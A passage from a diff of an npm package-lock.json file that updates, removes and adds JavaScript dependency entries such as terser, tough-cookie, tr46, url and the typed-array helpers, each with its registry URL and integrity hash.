"sha512-GlhdIUuVakc8SJ6kK0zAFbiGzRFzNnY4jUuEbV9UROo4Y+0Ny4fjvcZFVTeDA4odpFyOQzaw6hXukJSq/f28sQ==" - }, - "got": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/got/-/got-7.1.0.tgz", - "integrity": "sha512-Y5WMo7xKKq1muPsxD+KmrR8DH5auG7fBdDVueZwETwV6VytKyU9OX/ddpq2/1hp1vIPvVb4T81dKQz3BivkNLw==", - "requires": { - "decompress-response": "^3.2.0", - "duplexer3": "^0.1.4", - "get-stream": "^3.0.0", - "is-plain-obj": "^1.1.0", - "is-retry-allowed": "^1.0.0", - "is-stream": "^1.0.0", - "isurl": "^1.0.0-alpha5", - "lowercase-keys": "^1.0.0", - "p-cancelable": "^0.3.0", - "p-timeout": "^1.1.1", - "safe-buffer": "^5.0.1", - "timed-out": "^4.0.0", - "url-parse-lax": "^1.0.0", - "url-to-options": "^1.0.1" - } - }, - "is-stream": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", - "integrity": "sha512-uQPm8kcs47jx38atAcWTVxyltQYoPT68y9aWYdV6yWXSyW8mzSat0TL6CiWdZeCdF3KrAvpVtnHbTv4RN+rqdQ==" - }, - "lowercase-keys": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz", - "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA==" - }, - "minipass": { - "version": "2.9.0", - "resolved": "https://registry.npmjs.org/minipass/-/minipass-2.9.0.tgz", - "integrity": "sha512-wxfUjg9WebH+CUDX/CdbRlh5SmfZiy/hpkxaRI16Y9W56Pa75sWgd/rvFilSgrauD9NyFymP/+JFV3KwzIsJeg==", - "requires": { - "safe-buffer": "^5.1.2", - "yallist": "^3.0.0" - } - }, - "minizlib": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-1.3.3.tgz", - "integrity": "sha512-6ZYMOEnmVsdCeTJVE0W9ZD+pVnE8h9Hma/iOwwRDsdQoePpoX56/8B6z3P9VNwppJuBKNRuFDRNRqRWexT9G9Q==", - "requires": { - "minipass": "^2.9.0" - } - }, - "mkdirp": { - "version": "0.5.6", - "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz", - "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", - "requires": { - "minimist": "^1.2.6" - } - }, - "p-cancelable": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-0.3.0.tgz", - "integrity": "sha512-RVbZPLso8+jFeq1MfNvgXtCRED2raz/dKpacfTNxsx6pLEpEomM7gah6VeHSYV3+vo0OAi4MkArtQcWWXuQoyw==" - }, - "safe-buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" - }, - "tar": { - "version": "4.4.19", - "resolved": "https://registry.npmjs.org/tar/-/tar-4.4.19.tgz", - "integrity": "sha512-a20gEsvHnWe0ygBY8JbxoM4w3SJdhc7ZAuxkLqh+nvNQN2IOt0B5lLgM490X5Hl8FF0dl0tOf2ewFYAlIFgzVA==", - "requires": { - "chownr": "^1.1.4", - "fs-minipass": "^1.2.7", - "minipass": "^2.9.0", - "minizlib": "^1.3.3", - "mkdirp": "^0.5.5", - "safe-buffer": "^5.2.1", - "yallist": "^3.1.1" - } - }, - "yallist": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", - "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==" - } + "css-select": "^5.1.0", + "css-tree": "^2.3.1", + "css-what": "^6.1.0", + "csso": "^5.0.5", + "picocolors": "^1.0.0" } }, "sweetalert2": { - "version": "11.4.29", - "resolved": "https://registry.npmjs.org/sweetalert2/-/sweetalert2-11.4.29.tgz", - "integrity": "sha512-UMCZgyEk0m+KizxspB8Bsm5ZQRdguba2t2+Rf0r8XBmq5YqhXq7ItV2C15A3VLfRlxHnEJBTYg6hkSk/x+5Ofw==" + "version": "11.22.4", + "resolved": "https://registry.npmjs.org/sweetalert2/-/sweetalert2-11.22.4.tgz", + "integrity": "sha512-JwcRODfozxiKmspFp+xctZ2izAmLAKbRPcoLMEW7LdugN/YmNrX1LT7hdBW87qsgupEO1ukBBuB17KzKFKW0tg==" }, "symbol-tree": { "version": "3.2.4", @@ -31623,40 +26395,14 @@ "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==", "dev": true }, - "tar": { - "version": "6.1.11", - "resolved": "https://registry.npmjs.org/tar/-/tar-6.1.11.tgz", - "integrity": "sha512-an/KZQzQUkZCkuoAA64hM92X0Urb6VpRhAFllDzz44U2mcD5scmT3zBc4VgVpkugF580+DQn8eAFSyoQt0tznA==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "chownr": "^2.0.0", - "fs-minipass": "^2.0.0", - "minipass": "^3.0.0", - "minizlib": "^2.1.1", - "mkdirp": "^1.0.3", - "yallist": "^4.0.0" - } - }, - "terminal-link": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/terminal-link/-/terminal-link-2.1.1.tgz", - "integrity": "sha512-un0FmiRUQNr5PJqy9kP7c40F5BOfpGlYTrxonDChEZB7pzZxRNp/bt+ymiy9/npwXya9KH99nJ/GXFIiUkYGFQ==", - "dev": true, - "requires": { - "ansi-escapes": "^4.2.1", - "supports-hyperlinks": "^2.0.0" - } - }, "terser": { - "version": "5.14.2", - "resolved": "https://registry.npmjs.org/terser/-/terser-5.14.2.tgz", - "integrity": "sha512-oL0rGeM/WFQCUd0y2QrWxYnq7tfSuKBiqTjRPWrRgB46WD/kiwHwF8T23z78H6Q6kGCuuHcPB+KULHRdxvVGQA==", + "version": "5.39.0", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.39.0.tgz", + "integrity": "sha512-LBAhFyLho16harJoWMg/nZsQYgTrg5jXOn2nCYjRUcZZEdE3qa2zb8QEDRUGVZBW4rlazf2fxkg8tztybTaqWw==", "dev": true, "requires": { - "@jridgewell/source-map": "^0.3.2", - "acorn": "^8.5.0", + "@jridgewell/source-map": "^0.3.3", + "acorn": "^8.8.2", "commander": "^2.20.0", "source-map-support": "~0.5.20" }, @@ -31670,30 +26416,16 @@ } }, "terser-webpack-plugin": { - "version": "5.2.4", - "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.2.4.tgz", - "integrity": "sha512-E2CkNMN+1cho04YpdANyRrn8CyN4yMy+WdFKZIySFZrGXZxJwJP6PMNGGc/Mcr6qygQHUUqRxnAPmi0M9f00XA==", + "version": "5.3.12", + "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.12.tgz", + "integrity": "sha512-jDLYqo7oF8tJIttjXO6jBY5Hk8p3A8W4ttih7cCEq64fQFWmgJ4VqAQjKr7WwIDlmXKEc6QeoRb5ecjZ+2afcg==", "dev": true, "requires": { - "jest-worker": "^27.0.6", - "p-limit": "^3.1.0", - "schema-utils": "^3.1.1", - "serialize-javascript": "^6.0.0", - "source-map": "^0.6.1", - "terser": "^5.7.2" - }, - "dependencies": { - "schema-utils": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", - "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", - "dev": true, - "requires": { - "@types/json-schema": "^7.0.8", - "ajv": "^6.12.5", - "ajv-keywords": "^3.5.2" - } - } + "@jridgewell/trace-mapping": "^0.3.25", + "jest-worker": "^27.4.5", + "schema-utils": "^4.3.0", + "serialize-javascript": "^6.0.2", + "terser": "^5.31.1" } }, "test-exclude": { @@ -31707,32 +26439,78 @@ "minimatch": "^3.0.4" } }, - "text-table": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", - "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=", - "dev": true - }, - "timed-out": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/timed-out/-/timed-out-4.0.1.tgz", - "integrity": "sha512-G7r3AhovYtr5YKOWQkta8RKAPb+J9IsO4uVmzjl8AZwfhs8UcUwTiD6gcJYSgOtzyjvQKrKYn41syHbUWMkafA==" - }, "tiny-emitter": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/tiny-emitter/-/tiny-emitter-2.1.0.tgz", "integrity": "sha512-NB6Dk1A9xgQPMoGqC5CVXn123gWyte215ONT5Pp5a0yt4nlEoO1ZWeCwpncaekPHXO60i47ihFnZPiRPjRMq4Q==" }, + "tinyglobby": { + "version": "0.2.12", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.12.tgz", + "integrity": "sha512-qkf4trmKSIiMTs/E63cxH+ojC2unam7rJ0WrauAzpT3ECNTxGRMlaXxVbfxMUC/w0LaYk6jQ4y/nGR9uBO3tww==", + "dev": true, + "requires": { + "fdir": "^6.4.3", + "picomatch": "^4.0.2" + }, + "dependencies": { + "fdir": { + "version": "6.4.3", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.4.3.tgz", + "integrity": "sha512-PMXmW2y1hDDfTSRc9gaXIuCCRpuoz3Kaz8cUelp3smouvfT632ozg2vrT6lJsHKKOF59YLbOGfAWGUcKEfRMQw==", + "dev": true, + "requires": {} + }, + "picomatch": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.2.tgz", + "integrity": "sha512-M7BAV6Rlcy5u+m6oPhAPFgJTzAioX/6B0DxyvDlo9l8+T3nLKbrczg2WLUyzd45L8RqfUMyGPzekbMvX2Ldkwg==", + "dev": true + } + } + }, + "tldts": { + "version": "6.1.86", + "resolved": "https://registry.npmjs.org/tldts/-/tldts-6.1.86.tgz", + "integrity": "sha512-WMi/OQ2axVTf/ykqCQgXiIct+mSQDFdH2fkwhPwgEwvJ1kSzZRiinb0zF2Xb8u4+OqPChmyI6MEu4EezNJz+FQ==", + "dev": true, + "requires": { + "tldts-core": "^6.1.86" + } + }, + "tldts-core": { + "version": "6.1.86", + "resolved": "https://registry.npmjs.org/tldts-core/-/tldts-core-6.1.86.tgz", + "integrity": "sha512-Je6p7pkk+KMzMv2XXKmAE3McmolOQFdxkKw0R8EYNr7sELW46JqnNeTX8ybPiQgvg1ymCoF8LXs5fzFaZvJPTA==", + "dev": true + }, "tmpl": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/tmpl/-/tmpl-1.0.5.tgz", "integrity": "sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw==", "dev": true }, - "to-fast-properties": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", - "integrity": "sha1-3F5pjL0HkmW8c+A3doGk5Og/YW4=" + "to-buffer": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/to-buffer/-/to-buffer-1.2.1.tgz", + "integrity": "sha512-tB82LpAIWjhLYbqjx3X4zEeHN6M8CiuOEy2JY8SEQVdYRe3CCHOFaqrBW1doLDrfpWhplcW7BL+bO3/6S3pcDQ==", + "requires": { + "isarray": "^2.0.5", + "safe-buffer": "^5.2.1", + "typed-array-buffer": "^1.0.3" + }, + "dependencies": { + "isarray": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==" + }, + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" + } + } }, "to-regex-range": { "version": "5.0.1", @@ -31748,75 +26526,40 @@ "resolved": "https://registry.npmjs.org/toggle-selection/-/toggle-selection-1.0.6.tgz", "integrity": "sha512-BiZS+C1OS8g/q2RRbJmy59xpyghNBqrr6k5L/uKBGRsTfxmu3ffiRnd8mlGPUVayg8pvfi5urfnu8TU7DVOkLQ==" }, - "toidentifier": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", - "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==" - }, "tough-cookie": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.2.tgz", - "integrity": "sha512-G9fqXWoYFZgTc2z8Q5zaHy/vJMjm+WV0AkAeHxVCQiEB1b+dGvWzFW6QV07cY5jQ5gRkeid2qIkzkxUnmoQZUQ==", + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-5.1.2.tgz", + "integrity": "sha512-FVDYdxtnj0G6Qm/DhNPSb8Ju59ULcup3tuJxkFb5K8Bv2pUXILbf0xZWU8PX8Ov19OXljbUyveOFwRMwkXzO+A==", "dev": true, "requires": { - "psl": "^1.1.33", - "punycode": "^2.1.1", - "universalify": "^0.2.0", - "url-parse": "^1.5.3" - }, - "dependencies": { - "universalify": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz", - "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==", - "dev": true - } + "tldts": "^6.1.32" } }, "tr46": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/tr46/-/tr46-3.0.0.tgz", - "integrity": "sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA==", - "dev": true, - "requires": { - "punycode": "^2.1.1" - } - }, - "trim-newlines": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-3.0.1.tgz", - "integrity": "sha512-c1PTsA3tYrIsLGkJkzHF+w9F2EyxfXGo4UyJc4pFL++FMjnq0HJS69T3M7d//gKrFKwy429bouPescbjecU+Zw==", - "dev": true, - "optional": true, - "peer": true - }, - "true-case-path": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/true-case-path/-/true-case-path-1.0.3.tgz", - "integrity": "sha512-m6s2OdQe5wgpFMC+pAJ+q9djG82O2jcHPOI6RNg1yy9rCYR+WD6Nbpl32fDpfC56nirdRy+opFa/Vk7HYhqaew==", + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-5.1.1.tgz", + "integrity": "sha512-hdF5ZgjTqgAntKkklYw0R03MG2x/bSzTtkxmIRw/sTNV8YXsCJ1tfLAX23lhxhHJlEf3CRCOCGGWw3vI3GaSPw==", "dev": true, - "optional": true, - "peer": true, "requires": { - "glob": "^7.1.2" + "punycode": "^2.3.1" } }, "tsconfig-paths": { - "version": "3.14.1", - "resolved": "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-3.14.1.tgz", - "integrity": "sha512-fxDhWnFSLt3VuTwtvJt5fpwxBHg5AdKWMsgcPOOIilyjymcYVZoCQF8fvFRezCNfblEXmi+PcM1eYHeOAgXCOQ==", + "version": "3.15.0", + "resolved": "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-3.15.0.tgz", + "integrity": "sha512-2Ac2RgzDe/cn48GvOe3M+o82pEFewD3UPbyoUHHdKasHwJKjds4fLXWf/Ux5kATBKN20oaFGu+jbElp1pos0mg==", "dev": true, "requires": { "@types/json5": "^0.0.29", - "json5": "^1.0.1", + "json5": "^1.0.2", "minimist": "^1.2.6", "strip-bom": "^3.0.0" }, "dependencies": { "json5": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", - "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.2.tgz", + "integrity": "sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==", "dev": true, "requires": { "minimist": "^1.2.0" @@ -31848,11 +26591,6 @@ "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=" }, - "type": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/type/-/type-1.2.0.tgz", - "integrity": "sha512-+5nt5AAniqsCnu2cEQQdpzCAh33kVx8n0VoFidKpB1dVVLAN/F+bgVOqOJqOnEnrhp222clB5p3vUlD+1QAnfg==" - }, "type-check": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", @@ -31873,13 +26611,56 @@ "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==", "dev": true }, - "type-is": { - "version": "1.6.18", - "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", - "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "typed-array-buffer": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz", + "integrity": "sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==", + "requires": { + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "is-typed-array": "^1.1.14" + } + }, + "typed-array-byte-length": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/typed-array-byte-length/-/typed-array-byte-length-1.0.3.tgz", + "integrity": "sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==", + "dev": true, + "requires": { + "call-bind": "^1.0.8", + "for-each": "^0.3.3", + "gopd": "^1.2.0", + "has-proto": "^1.2.0", + "is-typed-array": "^1.1.14" + } + }, + "typed-array-byte-offset": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.4.tgz", + "integrity": "sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==", + "dev": true, + "requires": { + "available-typed-arrays": "^1.0.7", + "call-bind": "^1.0.8", + "for-each": "^0.3.3", + "gopd": "^1.2.0", + "has-proto": "^1.2.0", + "is-typed-array": "^1.1.15", + "reflect.getprototypeof": "^1.0.9" + } + }, + "typed-array-length": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/typed-array-length/-/typed-array-length-1.0.7.tgz", + "integrity": "sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==", + "dev": true, "requires": { - "media-typer": "0.3.0", - "mime-types": "~2.1.24" + "call-bind": "^1.0.7", + "for-each": "^0.3.3", + "gopd": "^1.0.1", + "is-typed-array": "^1.1.13", + "possible-typed-array-names": "^1.0.0", + "reflect.getprototypeof": "^1.0.6" } }, "typedarray-to-buffer": { @@ -31890,89 +26671,59 @@ "is-typedarray": "^1.0.0" } }, - "ultron": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/ultron/-/ultron-1.1.1.tgz", - "integrity": "sha512-UIEXBNeYmKptWH6z8ZnqTeS8fV74zG0/eRU9VGkpzz+LIJNs8W/zM/L+7ctCkRrgbNnnR0xxw4bKOr0cW0N0Og==" + "typescript": { + "version": "5.6.2", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.6.2.tgz", + "integrity": "sha512-NW8ByodCSNCwZeghjN3o+JX5OFH0Ojg6sadjEKY4huZ52TqbJTJnDo5+Tw98lSy63NZvi4n+ez5m2u5d4PkZyw==", + "peer": true }, "unbox-primitive": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.0.1.tgz", - "integrity": "sha512-tZU/3NqK3dA5gpE1KtyiJUrEB0lxnGkMFHptJ7q6ewdZ8s12QrODwNbhIJStmJkd1QDXa1NRA8aF2A1zk/Ypyw==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.1.0.tgz", + "integrity": "sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==", + "dev": true, "requires": { - "function-bind": "^1.1.1", - "has-bigints": "^1.0.1", - "has-symbols": "^1.0.2", - "which-boxed-primitive": "^1.0.2" + "call-bound": "^1.0.3", + "has-bigints": "^1.0.2", + "has-symbols": "^1.1.0", + "which-boxed-primitive": "^1.1.1" } }, "unicode-canonical-property-names-ecmascript": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.0.tgz", - "integrity": "sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.1.tgz", + "integrity": "sha512-dA8WbNeb2a6oQzAQ55YlT5vQAWGV9WXOsi3SskE3bcCdM0P4SDd+24zS/OCacdRq5BkdsRj9q3Pg6YyQoxIGqg==", "dev": true }, "unicode-match-property-ecmascript": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz", - "integrity": "sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==", - "dev": true, - "requires": { - "unicode-canonical-property-names-ecmascript": "^2.0.0", - "unicode-property-aliases-ecmascript": "^2.0.0" - } - }, - "unicode-match-property-value-ecmascript": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.0.0.tgz", - "integrity": "sha512-7Yhkc0Ye+t4PNYzOGKedDhXbYIBe1XEQYQxOPyhcXNMJ0WCABqqj6ckydd6pWRZTHV4GuCPKdBAUiMc60tsKVw==", - "dev": true - }, - "unicode-property-aliases-ecmascript": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.0.0.tgz", - "integrity": "sha512-5Zfuy9q/DFr4tfO7ZPeVXb1aPoeQSdeFMLpYuFebehDAhbuevLs5yxSZmIFN1tP5F9Wl4IpJrYojg85/zgyZHQ==", - "dev": true - }, - "unique-filename": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.1.tgz", - "integrity": "sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "unique-slug": "^2.0.0" - } - }, - "unique-slug": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.2.tgz", - "integrity": "sha512-zoWr9ObaxALD3DOPfjPSqxt4fnZiWblxHIgeWqW8x7UqDzEtHEQLzji2cuJYQFCU6KmoJikOYAZlrTHHebjx2w==", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz", + "integrity": "sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==", "dev": true, - "optional": true, - "peer": true, "requires": { - "imurmurhash": "^0.1.4" + "unicode-canonical-property-names-ecmascript": "^2.0.0", + "unicode-property-aliases-ecmascript": "^2.0.0" } }, - "universalify": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", - "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==" + "unicode-match-property-value-ecmascript": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.2.0.tgz", + "integrity": "sha512-4IehN3V/+kkr5YeSSDDQG8QLqO26XpL2XP3GQtqwlT/QYSECAwFztxVHjlbh0+gjJ3XmNLS0zDsbgs9jWKExLg==", + "dev": true }, - "unpipe": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", - "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==" + "unicode-property-aliases-ecmascript": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.1.0.tgz", + "integrity": "sha512-6t3foTQI9qne+OZoVQB/8x8rk2k1eVy1gRXhV3oFQ5T6R1dqQ1xtin3XqSlx3+ATBkliTaR/hHyJBm+LVPNM8w==", + "dev": true }, "update-browserslist-db": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.5.tgz", - "integrity": "sha512-dteFFpCyvuDdr9S/ff1ISkKt/9YZxKjI9WlRR99c180GaztJtRa/fn18FdxGVKVsnPY7/a/FDN68mcvUmP4U7Q==", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.1.3.tgz", + "integrity": "sha512-UxhIZQ+QInVdunkDAaiazvvT/+fXL5Osr0JZlJulepYu6Jd7qJtDZjlur0emRlT71EN3ScPoE7gvsuIKKNavKw==", "requires": { - "escalade": "^3.1.1", - "picocolors": "^1.0.0" + "escalade": "^3.2.0", + "picocolors": "^1.1.1" } }, "uri-js": { @@ -31989,72 +26740,48 @@ "integrity": "sha512-HXgFDgDommxn5/bIv0cnQZsPhHDA90NPHD6+c/v21U5+Sx5hoP8+dP9IZXBU1gIfvdRfhG8cel9QNPeionfcCQ==" }, "url": { - "version": "0.11.0", - "resolved": "https://registry.npmjs.org/url/-/url-0.11.0.tgz", - "integrity": "sha1-ODjpfPxgUh63PFJajlW/3Z4uKPE=", + "version": "0.11.4", + "resolved": "https://registry.npmjs.org/url/-/url-0.11.4.tgz", + "integrity": "sha512-oCwdVC7mTuWiPyjLUz/COz5TLk6wgp0RCsN+wHZ2Ekneac9w8uuV0njcbbie2ME+Vs+d6duwmYuR3HgQXs1fOg==", "requires": { - "punycode": "1.3.2", - "querystring": "0.2.0" + "punycode": "^1.4.1", + "qs": "^6.12.3" }, "dependencies": { "punycode": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.3.2.tgz", - "integrity": "sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0=" + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz", + "integrity": "sha512-jmYNElW7yvO7TV33CjSmvSiE2yco3bV2czu/OzDKdMNVZQWfxCblURLhf+47syQRBntjfLdd/H0egrzIG+oaFQ==" + }, + "qs": { + "version": "6.13.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.13.0.tgz", + "integrity": "sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg==", + "requires": { + "side-channel": "^1.0.6" + } } } }, - "url-parse": { - "version": "1.5.10", - "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz", - 